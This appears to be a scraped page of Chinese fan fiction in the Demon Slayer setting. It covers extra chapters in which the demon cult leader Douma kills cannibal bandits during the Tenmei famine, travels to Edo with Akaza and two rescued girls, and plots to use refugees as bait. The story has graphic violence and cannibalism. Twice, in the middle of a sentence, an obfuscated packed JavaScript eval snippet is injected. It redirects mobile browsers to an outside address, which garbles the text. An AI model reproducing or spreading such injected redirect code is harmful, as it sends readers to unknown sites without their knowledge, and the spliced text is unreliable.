“好在看样子他们没有记忆了。我给了他们附加了‘术’的御守,如果有任何异常应该都可以监测到。” “哇,小染最近研究了新的法术吗?看来人家也要努力才行!” “童磨大人最近过于努力了吧?”我瞥了正在开车的鬼一眼,“到底是哪个家伙让人在网上散布消息说我的神社许愿很灵的?还恋爱运?我到底什么时候成了恋爱之神啊?” “都是为了生意嘛,再说小染好像很擅长给人提供恋爱方面的咨询哦?” “…咱们两个到底是谁比较擅长那种事啊?!算了,不跟你计较了,前面帮我停一下,我去路口那家花店买束花,毕竟是第一次约黑…约严胜先生吃饭嘛。” 下了车,我走进这片住宅区里唯一的花店,店不大,但布置的相当温馨,到处摆满了盛开的鲜花和植物,简直像个小小的植物园。 只是店里没人,我按了几下桌上的铜铃,又等了半天,才有个清脆的声音传来。 “来啦!” 一个抱着婴儿的年轻女子从里间出来,看到那张脸时我微微愣了一下。 “抱歉,让您久等了!请问您…” “你等到他了吗?” “哎?”女子脸上闪过迷茫的神色。 “等到了?那就够了。”我点了点头,“就要一束勿忘我吧。” 你现在过的好吗?和喜欢的人一起,幸福的生活在某个地方吗? 我希望如此,不论你曾经是什么样的人,有着怎样的过往,都值得被爱,都有获得幸福的权利。 那个少年说的对,每个人的人生都是一个故事,数百年前,甚至上千年前,也是有多少人,就有多少个故事。 那些和你从未谋面的人们,也有着自己独一无二的故事。 请你永远不要忘记属于自己的故事,也请你敞开心扉,倾听来自他人的故事。 因为正是这些故事,交织成了世界的颜色,缺一不可。 你,喜欢我们的故事吗? 108. 番外篇·天明之时(1) 天明二年(1782)至天明八年(1788),受雨雪灾害以及火山喷发的影响,日本全境出现大面积粮食歉收,当时的幕府奉行老中田沼意次的重商政策,拒绝对物价进行干预,导致粮价飞涨,饥荒在全国蔓延。东北地方的藩政几乎瘫痪,社会动荡不安,大批流民逃难到江户、京都等大城市。及至天明六年,已有数以百万计的庶民在饥荒中死去,史称“天明大饥馑”。 天明七年,东海道某处。 “熟了吗?” “应该熟了,啧,这味道,比兔子肉香多了!” 七八个浪人打扮的男人围坐在一口破锅前,其中一个用木勺从锅中咕嘟嘟冒泡的汤里捞起来一块肉,顾不得烫的用手撕了一条塞进嘴里。 “好吃!一点也不臭!” “那女人看着脏,洗干净了还真不臭啊!”另一个人嘿嘿笑起来,“这不比打山猪容易?你敢打旗本老爷家林子里的山猪试试,逮到了不被官府砍手才怪!” “剩下那两个呢?看好了,别叫她们跑了!” “跑就跑吧,这荒郊野外,那两个小姑娘跑了也是喂熊。” “跑了就没钱挣了,我去看看。” 其中一个人站了起来,边啃着肉,边走到一旁的树下。那里用麻绳绑着两个脸色苍白的少女,浪人用手捏了捏其中一个的脸,嘿嘿笑道: “长相还不错,就是肉少了点。” “……” 女孩十五六岁的年纪,满脸血和泥,头发上粘着草屑,几乎衣不蔽体,嘴里低声说着什么。男人把耳朵凑了过去。 “哈?在嘟囔什么啊?” 却没留神那少女突然张嘴向他的耳朵咬去,男人吓了一跳,往后跳了两步,一巴掌抽在女孩脸上。 “死女人!还敢咬人?要不是看你还能卖几个钱,老子早把你跟刚才那个婊子一起宰了!” “你们是鬼!是邪魔!”少女红着眼睛骂道:“你们不是人!是畜生!” 几个男人哄堂大笑起来,手里拿着肉的男人也哈哈大笑道:“大爷是山贼,做的就是人肉买卖,那女人又病又老,还不如杀了给我们解解馋,你闻闻,这肉香不香?” 他拿着手里的肉往少女嘴边戳,“香吗?香不香?” 少女被肉味刺激,直接吐在了男人手上。 “妈的,真扫兴!”男人扔掉手里的肉,在树干上蹭了蹭手,转身对着少女就是两脚,踢的她蜷着身体缩成了一团呻吟连连。 “阿银姐姐!你不要紧吧?” 一旁更瘦小的女孩扑过来,似乎是想用身体挡住少女,却摔倒在她身边的地上。 “那个瞎的赶紧处理掉吧,又瘦又弱,留着没什么用。”坐在汤锅边的一个人说。 “也宰了吧,大腿上应该还有几两肉,别浪费了。” 男人说罢,从腰间拔出一把缺了口的太刀来,一把从地上揪起那瘦小的女孩,火光之下,女孩的一双眼睛却茫然的看着前方,眼珠上蒙着一层灰白。 “不准碰她!”大一些的少女尖声喊叫起来,声音在幽暗的树林间显得格外刺耳。 男人只好放下刀去捂她的嘴:“吵死了!再叫就把你舌头割了!” 不知是谁突然说了句: “官道上有人来了!” 几个人熟练的踩灭篝火,抓起刀藏进了茂密的树丛里。抓着少女的男人则急急忙忙地用破布塞住她的嘴巴,自己也躲在了树后。 “是武士吗?怎么半夜赶路?”有人小声说。 “不像啊,就一顶轿子和六个人,没有官差护送,也没带刀。小次郎,你去前面看看。” 被唤作小次郎的山贼从树后出来,猫着腰窜进了林子里,一会儿又钻了出来。 “不是武士,不过看着很有钱,那轿子是我见过最大的了,上面好像还用金漆画了花。” “商人?半夜赶路可能是家里或者店里有急事吧,肯定没少带钱。“ 几人交换了下眼神,不约而同的点了点头。 待到拦在那轿子前,他们才意识到哪里不太对劲。 竟是一顶通体黑色的双人轿,轿门两侧用金漆描绘了极为精致的花纹,却看不出是哪位大名的家徽,而更像是寺院常用的莲花图案。 东海道连着京都和江户,日常不鲜见从京都外出游历的僧侣,然而僧人出行都是步行,没见过乘轿的,更何况此时已是深更半夜。谁都知道这几年天下不太平,人都饿昏了头,出门在外的普通客商,哪怕有再急的事,在天黑前就会入住宿场,没见过敢在夜半时分赶路的。 但人为财死、鸟为食亡,山贼们一拥而上拦住了那顶轿子。 毕竟除去抬轿的四人,也只有两个身着白衣的随从而已,看起来完全不是七八个手里有刀的山贼的对手。 小次郎心想今天十有八九能赚笔大的,正要开口恐吓,没想到那名跟在轿子旁的白衣侍从很是淡定的走上前来。 “诸位,要钱还是要粮食?” 山贼们面面相觑,此人看着其貌不扬,竟然丝毫没有普通人遇到劫道的慌乱,略有些古怪。 一个山贼站了出来,怪笑了几声:“要钱的话是给多少,要粮食又给多少?” “要钱,每人二十文,要粮食,每人三合荞麦。” “二十文?你打发要饭的呢?”小次郎冷笑,“看你们不像穷人,就给这么点钱?” “三十文,不能更多了。”白衣侍从坚持道,“这年月谁的钱也不是白来的。” “大爷们是打劫的,不是跟你卖菜呢!”一个山贼叫道,“把所有钱和粮食都留下!要不今天谁也别想走!” “这恐怕不行。”侍从说,“你们已经是第三波打劫的了,后面说不准还有几波,都给你们的话后面的人怎么办?” “敢跟大爷们讨价还价?是不想活了吗?”小次郎嘿嘿笑道,“把你那轿子放下,然后乖乖给我把钱掏出来,快点!” “轿中坐的是你得罪不起的贵人,我们有急事要赶到江户去,还请你让让路。”侍从脸色如常,“五十文,四合荞麦,否则到前面宿场我们就报官。” “我看你是活腻了,以为官差抓得着我们?再说一遍,把轿子放下!” 正说着,只见那顶黑色轿子窗口的竹帘被微微挑起一点,里面传出个温和悦耳的声音。 “山田,怎么了?” 被称为“山田”的白衣侍从恭敬地俯身道: “教主大人,没什么事,又是打劫的。” 轿子里那人不慌不忙地说:“咱们不是说好了,打劫就给人家钱嘛。” “说了,每人五十文加四合荞麦,他们不干,说让我们把钱全都留下。” “这样啊…前面还有多远?” “回教主大人的话,快到箱根宿场了。” “是吗?是有温泉的那个箱根?” “是,箱根宿场的温泉很有名。”白衣侍从答道,“恕我直言,您要是在这里就把路费全花完了,后面几天咱们就没现钱住宿了,还要找地方兑换藩札才行。” “诶呀呀,这可真是…”轿子里的人笑了起来,“就每人一百文吧。” “是。” 白衣侍从直起身对山贼们说道:“给你们每人一百文钱,加四合荞麦,请不要再纠缠不休了。” 借着月色,小次郎看的清楚,刚刚挑起竹帘的是一把金光闪闪的折扇。他认定轿子里的是个有钱的主,这种人一般不怕破财免灾,于是起了贪念。 “谁要铜钱啊,我们要金银!你们这些有钱人也未免太小气了吧!明明自己拿的扇子都是金的,却拿几文钱打发我们!“他叫道,“把钱全都留下,轿子里那小子,把你那扇子也留下,否则别怪大爷们不客气,我们可是从弘前那边来的,连人肉都吃过了!” 白衣侍从沉下脸,“你好大的胆子,竟敢冒犯神明之子。” 山贼们愣了下,随后哈哈大笑。 “什么神明,世上哪来的神明?”小次郎也狂笑道,“大爷们可是从死人堆里爬出来的,还怕你不成?” “多么可怜啊。” 没想到轿子里的人充满同情地说道: “各位一定经历了很痛苦的事吧?先前听闻各藩都饿死了不少人,我的寺院也有收留逃难的人,这世道真是悲惨呢。” 山贼们爆发出更猛烈的笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252385|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声。 “这小子怕不是脑子有什么毛病吧?”小次郎笑的喘不过气,“头一回见到这种疯子!喂,轿子里的家伙,你一直藏着不露脸是什么意思?快给大爷们滚出来,我倒要瞧瞧是什么疯子,还神明之子哈哈哈!” “住口!竟敢亵渎神明,你们会遭到天谴的!”另一位白衣侍从愤怒地喊道,“教主大人,请允许我们拿刀自卫吧!” “我说过吧,咱们不是武士,不能佩刀。”轿中之人平静地说,“江户和京都不同,不要在这边惹是生非。况且我们极乐教的教义一向是与人和平相处,神明自会惩治恶人,赐福给善良的人。” “教主大人教诲的是。”那名侍从羞愧地低下头,“是我冒失了。” “神明惩治恶人?我他妈刚吃了个女人的大腿肉,来惩治我啊!”小次郎狞笑道,“人肉的味道好极了!煮熟了比山猪肉都香!” 轿子里的人饶有兴致地问:“真的吗?我倒是初次听闻这种事呢。人肉煮熟了是什么味道的呀?女人和男人有什么不同吗?” “别跟这小子废话了!”一个山贼举着刀缓缓逼近轿子,“把金银都拿出来!快点!” 山田和另一名信徒立刻挡在轿子前,厉声喝道:“不准过来!” “诶呀诶呀,真是的,看来是造成误会了呢。”轿子里的人语气非常轻快,“我的扇子可不是金子做的哦,只是外面镀金罢了,就算这样,各位也还是想要吗?“ “不是金的?我看明明就是金的!”小次郎挥舞着刀威胁道,“别他妈废话了!给老子滚出来!” “各位看来是非要见到我不可呢。” 轿中之人轻声笑道,“山田,你们都让开吧。” “是,教主大人。” 山田和那名信徒闻言就退到了一旁,低下头再不说话。 一名山贼伸手去拽轿子的门,却骤然瞪大了眼睛,捂着喉咙向后倒去。 “半兵卫!怎么了!” 另一名山贼发觉不对,大叫起来,但紧接着,他也露出了同样惊恐的表情。 当小次郎意识到空气冷的刺骨时,已经晚了。黑夜里有什么东西一闪而过,他眼睁睁看着同伴们几乎同时扭曲着身体倒下,自己也突然感到一阵无力。 他低下头,发现胸口不知何时多出了一个洞,鲜血正从里面喷涌而出。 “怎…怎么可能…” 男人向前踉跄了几步,最终跪倒在地。 他最后看到的,是那半撩起的竹帘下,露出了一只在黑暗中发着幽光的眼睛。 只是眨眼的功夫,四下变得异常安静,只剩濒死者喉间的嘶鸣。 还是那个悦耳的声音打破了寂静。 “贪婪之人必定会遭到神明的责罚。山田,咱们走吧。” 两名白衣侍从再次一左一右地跟在了轿子两侧,一行人走了没几步,忽然从路边冲出来两个跌跌撞撞的影子。 “请等一下!” 竟是两个蓬头垢面的女孩,大的紧紧拽着小的的手,二人身上的衣服都破烂到看不出模样,手腕缠着断掉的麻绳。 山田皱了皱眉,刚要开口,就看两个女孩跪在了地上。 “请大人带小女一起走吧!无论做什么都可以!”大一点的女孩抽泣着说,“我们是被这些人抓来的,我妹妹已经几天没吃东西了,拜托了,让小女做什么都可以!” “真是可怜呐。”轿子里的人声音轻柔地说:“你们是从哪里来的,多大了呀?” “回大人的话,小女老家在八户藩,那边实在活不下去了,乡下什么吃的都没有,连饿死的人都被…”女孩说不下去,只是一味哭泣,“小女名叫阿银,今年十六了,这孩子叫阿幸,才十二岁。小女什么都愿意做,拜托您收留我们吧,拜托您了!” “既然如此,就留下你们吧。”轿子里的人轻声说,“山田,等下到宿场的时候,带这两个孩子去洗干净,给她们弄点吃的。” “是,教主大人。”山田躬身道,随即对两个女孩说:“还不感谢神明的慈悲?你们有福了!” 少女阿银即刻深深地伏下身去。 “谢谢!谢谢您!神明大人!” 109. 番外篇·天明之时(2) 童磨第一次见到猗窝座,是在箱根宿场的私汤里。 这事说起来多少有点尴尬,上弦们之间历来只有竞争关系,往往几十年才见一面,不是鬼王召集会议,就是换位血战。在温泉浴池赤诚相见的,实属罕见。 没办法,谁叫极乐教的教主大人是个天生的享乐主义者,在为数不多从人生保留到鬼生的爱好里,泡澡是其中之一。 东海道五十三处宿场,每个都有浴池,但能有室内温泉的,也仅有箱根宿场了。 侍从山田家历代是极乐教的护教,因而了解他的嗜好,早早在池子边备好了三樽酒。教主大人打开一樽,贪婪地闻了半天,恋恋不舍地把樽里上好的清酒倒进浴池里。 做鬼吃不了人类的饮食,酒也一样,没有比这更遗憾的事了。 幸好前两天吃的那姑娘是个稀血,还值得回味一下,否则这半个多月白天休息晚上赶路的日子实在无聊的要命。 几个月前那位大人驾临赐血,正式将他晋升入上弦鬼的行列。鬼王对他在血鬼术方面的突飞猛进感到满意,对他一年内接连干掉了三个柱更感欣慰,唯一对他住的地方提出了严厉批评。 “不要过于引人注目。” 倘若忽略其残暴傲慢的个性,鬼舞辻无惨其实是个相当谨慎的人,鬼杀队向来难以掌握他的行踪,上弦们也一样,只有在被召唤时才能有幸得见鬼王的真容。 “猎鬼人显然已经注意到了你这里的异常,接二连三有柱被派遣过来就是证明。但我不希望引起京都御所的关注,你应该明白吧。” 无惨的手指从他的颅骨中拔出,大量鬼王之血的注入带来了撕裂般的剧痛和恍惚感,不过这濒死的感觉一向让他感到有趣又刺激。 “给我马上搬到江户附近去。寻找青色彼岸花和产屋敷一族的下落,这才是你们存在的唯一意义,懂了吗?” “诶?可是大人,我寺院里的信徒怎么办呀?”童磨天真无邪地问,“也全都迁往江户吗?” 话音未落,一口血就呛的他喘不过气来。 “随你的便,如果你处理不了,我现在就帮你把他们全都处理掉。”鬼王梅红色的眼睛里只有冷酷,“人类身份只是我们对付猎鬼人的障眼法,不要搞错了你服务的对象,童磨。” 幸好神明之子一向运气不错,常驻信徒们几乎全都愿意跟着他迁到江户去,甚至还有先前认识的旗本,直接雇工在御岳山里给他建了座新寺院。 极乐教的教主大人从小就没为钱发过愁,对于这些供奉,他一概当作自己乐于助人的报偿。 不过江户…还真是个相当麻烦的地方呢。 江户和京都间的差别,恰如武家和公家之间的差别。京都地方不大,寺院云集,以嵯峨野的红叶和衹园的歌舞伎著称,自古便是皇居所在的闲散高雅之地,江户可是戒备森严、等级分明的大城市,特别是几年的饥荒和各藩的骚乱后,幕府已经草木皆兵,稍微闹出一点动静,都足以引起町奉行的注意。 室内水汽氤氲,酒香四溢,童磨整个人浸在热水里,颇有点飘飘欲仙。正在此时,他发现面前的屏风后多了一个人影。 这是宿场里最高级的客房,有专属的庭院,大门外有山田他们把守,常人是进不来的,能无声无息地出现在这里的,只能是他的同类。 “阁下是来找我的嘛?”童磨笑道,“可惜我没什么能拿来招待您的,要不请您在外面稍等片刻,我洗好了就出去见您?” 那个人影没动,只是传来个年轻而冷漠的男声。 “那位大人命我来看看,你为何这么久还没到江户。” “我当是什么事呢,大人对我真是关怀备至呀。东海道常人要走一个月呢,我们又只能晚上赶路,这么快就到箱根已经很不容易啦,路上还遇到好几波打劫的呢。”童磨笑嘻嘻地说,“大人他有什么吩咐吗?” “据我所知,你是鬼。”那个影子冷冷地说,“我没见过鬼要坐轿子的。” 童磨故作惊讶道:“看您这话说的,从京都到江户,就算是鬼的速度,也需要几天时间吧,白天也一样不能行动呀,难道阁下想让我住树林子里嘛?” 那个影子顿了顿,说:“那又有何不可?” “我是鬼,又不是熊或者山猫,住在树林子里算什么事嘛?”童磨斜靠在浴池边上,面带微笑地看着屏风后的身影,“听阁下的口音是江户本地的?难道你们江户的鬼平时都住在树上吗?” “……” 对方竟然被噎住了,沉默了一会儿,才说:“那位大人命我和你一起清剿在江户附近活动的猎鬼人,你最好快点,不要浪费我的时间。” “阁下不要急嘛。我叫童磨,您叫什么名字呀?” “上弦之四,猗窝座。”影子冷冷答道。 “比我的级别高呀,难怪阁下一点气息都没有被我发现呢,真是好厉害~您变成鬼多久了?以前就是江户这边的人吗?”童磨兴致勃勃地说,“对了对了,阁下平日都有些什么爱好呀?我初来乍到,对这些真是一无所知呢~” “……” 名为“猗窝座”的上弦鬼终于忍不住说道:“你废话怎么这么多?” “诶?这是为了增进彼此之间的了解嘛。您看,咱们都是同僚,以后总免不了一起工作……” “不必。”猗窝座打断了他,“上弦之间很少合作,我也习惯独来独往,你没必要知道那么多。” “啊,那可真是太可惜了。”童磨叹了口气,“人家还以为来江户就能交到朋友了呢。京都那边的鬼不多,而且都好弱哦,但人类的肉质还算不错,稀血也多,我猜这大概是水土的原因?阁下平时喜欢吃什么类型的人类呀?我更喜欢女…” “你带来的女人是怎么回事?” “诶?” “那两个女人,我看她们一直跟着你的轿子进来的。” 童磨眨了眨眼睛,“啊,您说的是那两个小姑娘呀。她们别提多可怜了,家里的人全饿死啦,自己又被山贼抓住,差点就被杀掉吃了,幸亏我路过救下了她们哦~” “人类…吃人类?”名为“猗窝座”的鬼喃喃道,“真有这种事?” 童磨笑了起来:“一看阁下就是做鬼做太久了,不关注人类的事,平时也都住在江户这边吧?乡下的饥荒都闹了好几年啦,比享保年那次还严重的多呢,人类饿急了的时候也会吃人哦,只不过是煮熟了再吃,我的信徒们当中有从那些地方逃难来的,他们全都给我讲过呢,女人和小孩是最先被吃掉的,其次是老人,生病的人…” “别再说了!” 猗窝座突然厉声道。 “我说错了什么话嘛?”童磨不解地问,“为什么阁下的声音听起来很不开心的样子?” “我来这里只是奉命行事,没兴趣听你说这些废话。”对方不知为何有点恼火地说,“你到底要泡到什么时候?” 童磨在水里换了个姿势,舒舒服服地趴在池子边上:“阁下急什么呀,反正现在外面天已经亮了吧?您也出不去,不如就在这里跟我聊聊天?或者您干脆进来跟我一起洗吧,我是完全不介意的哦?” “……” 那个身影晃了一下就消失了。 新任的上弦之六看着空荡荡的屏风,有点困惑地嘟囔: “真是个奇怪的人呐,猗窝座阁下…” 等到极乐教的教主大人终于泡够了澡,换了浴衣悠哉悠哉地溜达回自己房间时,意外地发现屋子一角坐着个穿白色和服的少年。 少年的眉目相当清秀,看起来最多十七八岁,长的却很结实,留着一头硬茬的黑短发,面色不善地瞪着他。 “猗…猗窝座阁下?”童磨脑袋上还搭着浴巾,有点错愕地说。 “这里人太多了,只能用拟态。”猗窝座的表情看起来像是被迫吞下了地上的泥巴,“天一黑我们立刻出发,你别想再拖延时间。” “阁下的拟态相当不错哦~”童磨由衷地赞叹道,“看起来很可爱呢~” 这下那少年的表情变得更诡异了。 “你这人没毛病吧?”他说。 “我是在称赞阁下呀。”童磨自认为微笑的很是友善,“毕竟鬼的拟态差不多就是我们作为人类时的样子嘛,您比我想象的要年纪更小一点呢。” 猗窝座沉着脸没说话,似乎不得不跟眼前这鬼共处一室是件令他难以忍受的事。童磨倒是自在的很,跟没骨头似的歪在了屋子一角的丝绸软垫上,不知从哪摸出一杆乌木镶银的烟管,他熟练地填上烟草,点着烟深深地吸了一口,顺便瞄了眼那位上弦之四。 “阁下抽烟吗?” “不抽。” “喜欢和歌吗?” “不喜欢。” “诶…有爱吃的东西吗?” “……没有!” “擅长什么类型的血鬼术呀?” 眼看对方攥紧了拳头,童磨连忙补充道:“万一以后和猎鬼人打起来,我总得知道怎么才能配合您呀。” “不需要。”少年干脆地说。 对话有点难以继续,不过神明之子历来不懂什么叫尴尬,正想着再换几个搭茬的问题,门口传来了山田的声音。 “教主大人,那个叫阿幸的女孩发起高烧来了。” 那种小姑娘看着就活不久的样子,不行就等天黑了再悄悄送她去极乐好了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252386|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教主大人如此想着,嘴上却应付道:“神明慈悲,帮她请个大夫看看吧。” “是。” 转头他就看到猗窝座正眼神古怪地看着他。 “怎么了,猗窝座阁下?” “为什么…要救人类?” 少年表情僵硬地说。 “那当然因为我是个大善人呀。”童磨笑嘻嘻地说。 “…胡扯。” “是真的呀,人家从小就是个善良的人,拯救过无数可怜的人,还带给了他们幸福哦~”童磨习惯性地解释道,“我是万世极乐教的教主,像这种可怜的女孩子,一年怎么也要救几十个吧,最近几年逃难的人多,有时候真是忙到不行呢。” 忙不忙的不好说,最近几年吃的很开心倒是真的。遇到天灾人祸,人类最先抛弃的就是家里的女孩,随便给几个钱甚至只给几升荞麦都能带回去几个,教主大人毫不介意挨个把她们送去极乐,不过在那之前要是养的胖一点自然肉质会更好了。 猗窝座一脸狐疑。 “弱者…死了就死了吧。”他最终说,“你这么做毫无意义,纯属浪费时间。” “诶?但这是人家作为教主的义务嘛,毕竟人类是很可怜的呀,猗窝座阁下。”童磨真心实意地说,“难道您见到可怜的女孩子会袖手旁观吗?” “…别告诉我你不吃人。”少年冷笑,“如果不吃人,你根本升不到上弦的位置。” “吃人和救人并不矛盾呀。”童磨义正辞严地说,“吃人是作为鬼的本性,救人是作为神明之子的本性,二者皆是我的本性嘛,救人是救人,吃人也是救人,这么简单的事明明很容易理解吧?” 猗窝座的表情有点茫然,显然是被他一通天花乱坠说懵了:“什么神明之子?那是什么东西?” “您看,这就能看出彼此增进了解的必要了。”童磨微笑道,“我因为眼睛和头发的颜色很特别,所以从小就被人当作‘神明之子’,我的信徒们都很虔诚的相信我,所以我也要尽己所能地帮助他们,就算是变成鬼也不会改变这一点哦。这么久才启程,也是因为信徒们要提前准备,所以花了不少时间呢。” “…所以你那眼睛不是拟态?” “当然是天生的啦~平时只需要将那位大人赐的刻印隐藏起来就是了。”童磨吐出个烟圈,笑眯眯地说,“我都说了这么多了,阁下也稍微介绍下自己吧,不介意的话,能容我问问您为什么变成鬼嘛?” 少年沉吟了一下,说: “为了到达武学的至高境界。” “哇啊,听起来好厉害的样子~不过那是什么境界呀?” “要修行到那个地步才能知道。“ “看得出来,阁下是个非常努力的人呢。您用了多久晋升到上弦之四呀?” “…和你无关,我和弱者没什么可说的。” “弱者?阁下是说我嘛?“ 极乐教的神明之子在京都作威作福了几十年,鬼生第一次被人说成是弱者,不免有些惊讶。 猗窝座瞟了他一眼,点点头:“你只是上弦里最末位的而已,很容易死的。” “诶?这么说的话,看来人家也要更努力才行呢~” 猗窝座冷笑了一声,没再说话。 到了傍晚,侍从前来禀报说那个名叫“阿幸”小女孩退烧了,只是人还虚弱的厉害,走不了路,请示要不要将她和另外那个女孩子留在宿场,自寻生路。 童磨装模作样地去看了眼那奄奄一息的小瞎子,掉了几滴同情的眼泪,心想到嘴的零食不能全都飞了,于是斟酌了一下词句,和颜悦色地说道:“不如就让这孩子留在这里养病吧,阿银如果想跟我们一起走的话也可以哦。” 听到这话的那一刻,那位名叫阿银的少女脸上掠过了极为复杂的神色。童磨不动声色地看着女孩。 八户藩来的饥民么?看着倒是健康的很,手臂甚至比普通女孩子还要结实一点。 她洗了澡,换了新的和服,样子算不上漂亮,但也颇为可爱…且可口。他想。留几天再吃也不错。 “不行。” 身后传来个冷冷的声音。不知何时,拟态成少年样貌的猗窝座也进了屋子,看着榻榻米上那迷迷糊糊的小女孩,破天荒地皱起了眉。 “救人救到底,扔在这里算怎么回事。” 童磨被这位前辈搞的摸不着头脑,明明是个杀气腾腾的上弦鬼,一看见这面黄肌瘦看着就不好吃的小姑娘,倒突然变得温柔起来了,简直让他怀疑自己的眼睛是不是看错了。 出于礼貌,他还是开口询问道:“猗窝座阁下的意思是……?” “我背她。”少年斩钉截铁地说。 110. 番外篇·天明之时(3) 童磨发自内心地怜悯人类。 自记事起,他就是极乐教的神之子,是神明在世上的化身,平日最常听到的是各式各样的人间疾苦,以及无穷无尽的祈求。人类太过渺小,无力与深不可测的命运抗衡,一场火灾,一场洪水,乃至一场疫病,甚至哪位旗本的一句话,就足以改变无数人的命运。农民则更是苦难深重,他以前听从乡下来的女侍说,村子里的人一年只被允许吃两次白米,日常仅以红薯、橡子面这类杂粮果腹,交不够年贡还要挨板子,碰上现在这样的灾年,人吃人是一点也不奇怪的。 人吃人都不奇怪,鬼吃人岂不正常? 那个叫阿幸的小瞎子捧着饭团吃的满脸都是饭粒,看来不仅眼睛瞎,脑子也有点问题。 都说瞎子的其他感官会比常人敏锐,但被猗窝座这只上弦鬼背了一路,这小姑娘非但没察觉到任何异样,还越发有精神了。 “哥哥,给你吃。” 她将一团米饭捧在手里,摸索着递给那所谓的“哥哥”。 “我不吃。你慢点,别噎到。” 猗窝座坐在边上,大约也有点困惑于自己这些莫名的举动,脸上浮现出转瞬即逝的茫然。 “哥哥,这米饭好香,从来没吃过这么好吃的米饭。” 猗窝座“嗯”了一声,只是专注的看着那狼吞虎咽的小姑娘。 童磨觉得自己有必要为前辈分忧,于是体贴地说:“猗窝座阁下,不如咱们也去吃点东西?” 上弦之四冷冷的看了他一眼:“我不饿。” 可我饿啊。童磨委屈地想。看着女孩子在眼前晃又不能吃掉,简直是残酷的折磨啊。 宿场人多眼杂,显然不适合狩猎,一路上又没碰到几个活人。这两个用来当零食的女孩子,竟然活着到了江户。 活到江户也就罢了,竟然还让他一个鬼出钱请她们吃夜宵。 如果无惨大人在此,大概要赏他们一鬼一顿暴打,骂他们辱没了上弦月的威名。 算了算了,就当是为了跟前辈搞好关系。毕竟鬼嘛,什么怪癖都有。这一路上猗窝座阁下又是给那小姑娘打水洗脸,又是用路边的野草扎小兔子给她玩,看着就…不像个正常鬼。 无惨大人曾经教导他,正常的鬼,一定要多吃人,多吃人才能变强,但吃人这事和血鬼术一样,也是需要天赋的,有的鬼吃着吃着就吃不下了,无惨大人称之为“劣化”,一律踢出十二鬼月的行列,甚至鼓励其他鬼去吞噬这些没用的同类。所幸的是,童磨在吃人方面从未让那位大人失望过,在对付猎鬼人上更是战绩卓著,因此用了短短几十年就爬到了上弦的位置。 话说这位猗窝座阁下该不会也是发生了“劣化”吧?诶呀呀,如果是那样的话… “你,跟上我。” 少年样貌的上弦鬼言简意赅地说了这句话,便自顾自的向食肆门外走去。 “教主大人,你们去哪里?我、我也去。” 叫阿银的少女慌忙站了起来,童磨回头露出个温柔笑脸:“你陪着那孩子好好吃饭,不要把她弄丢了哦,小阿银。” 还眨了下眼睛。 少女果然乖乖的坐了回去。 人类女人十个有八个扛不住他那对宝石般绚丽的眼睛,剩下两个不是瞎子就是傻子。对于这一点他很有自信。 大江户果然不同,已是夜半时分,街上还是一派热闹景象,虽说早年武士不准外食,但此时的规矩已没有那么严格了,有酒馆还没打烊,喝的醉醺醺的町人们搂着游女,唱着荒腔走板的小调,路边是售卖各种饮食的小车,挂起的灯笼连成片,远远望去像是森林上空的星海。 月下的江户城仿佛一头巨兽,沉默地镇守着德川家的百年江山。 他上次来这里还是七岁那年,那时父母尚在,他乖巧如他们手中的提线木偶,让哭就哭,让笑就笑,只记得母亲叫他见了穿着武士衣服的大人物,务必讨得他们欢心,却不记得这江户城下町的夜色,原来是如此喧嚣。 “在江户周围活动的猎鬼人总共有八十人左右。” 猗窝座蹲在一座佛寺的高塔上,完全褪去了拟态,一头短发竟是寒绯樱的颜色,刺青般的鬼纹爬过少年清秀的面庞,刻着“上弦·肆”的金瞳在暗夜中闪耀着某种近乎妖娆的光。 真像一只漂亮的山猫。童磨想。他在山里狩猎时遇到过那种小动物,也有华丽的花纹,矫健的身姿,和在黑暗中发光的眼睛。 “现任的‘柱’应该还有四五人,根据情报,他们在江户附近有一处定期会面的场所,但至今还不知道…喂,你有没有在听我说话?” “诶?我在听呀~”童磨笑道:“猗窝座阁下是想让我找到那个地方嘛?” “这是那位大人的意思,命我们联手将能找到的猎鬼人尽数剿杀。” “那怎么可能找得到嘛。” 猗窝座的眉尖抽搐了下:“你说什么?” “那种地方,一定隐藏的很好,根本不可能找到嘛,反正我是不擅长探寻和搜索的哦~” 上弦之四额上爆出一条青筋: “你这算这么理由?找不到也要找,这是大人的命令。” “阁下误会我的意思啦,”童磨笑眯眯地说,“我是说,与其把时间花在这种毫无意义的事上,不如试试其他办法,比如让那些猎鬼人自己出来。” “你是说…引他们出来?可那位大人说过,不准我们在城里闹的太大…” “我的猗窝座阁下,您真是笨的可爱呀,谁说要在城里了?”童磨握着扇子哈哈大笑:“适合那些下级鬼狩猎的地方,当然是城外最好啦~” 猗窝座反应过来:“你要用其他鬼当作诱饵吗?那位大人是否同意暂且不说,城外大多是旗本家的田地,难道你想让下级鬼袭击武士?” “所以咱们需要一群即便是死了,对官府也无关紧要、但一定能吸引大批猎鬼人前去杀鬼的人。” 童磨不紧不慢地摇着扇子说道。 “在来这里的路上,阁下看到那些逃难的人了嘛?我让我的信徒去打探了下,在江户城外至少有两处流民聚集的地方,因为町奉行在官道上安排了人手封路,这些可怜人只能在外面被人赶来赶去,江户的米价这么贵,他们没吃没喝,又不肯走,必定让奉行所的大人们头疼的很呢。” 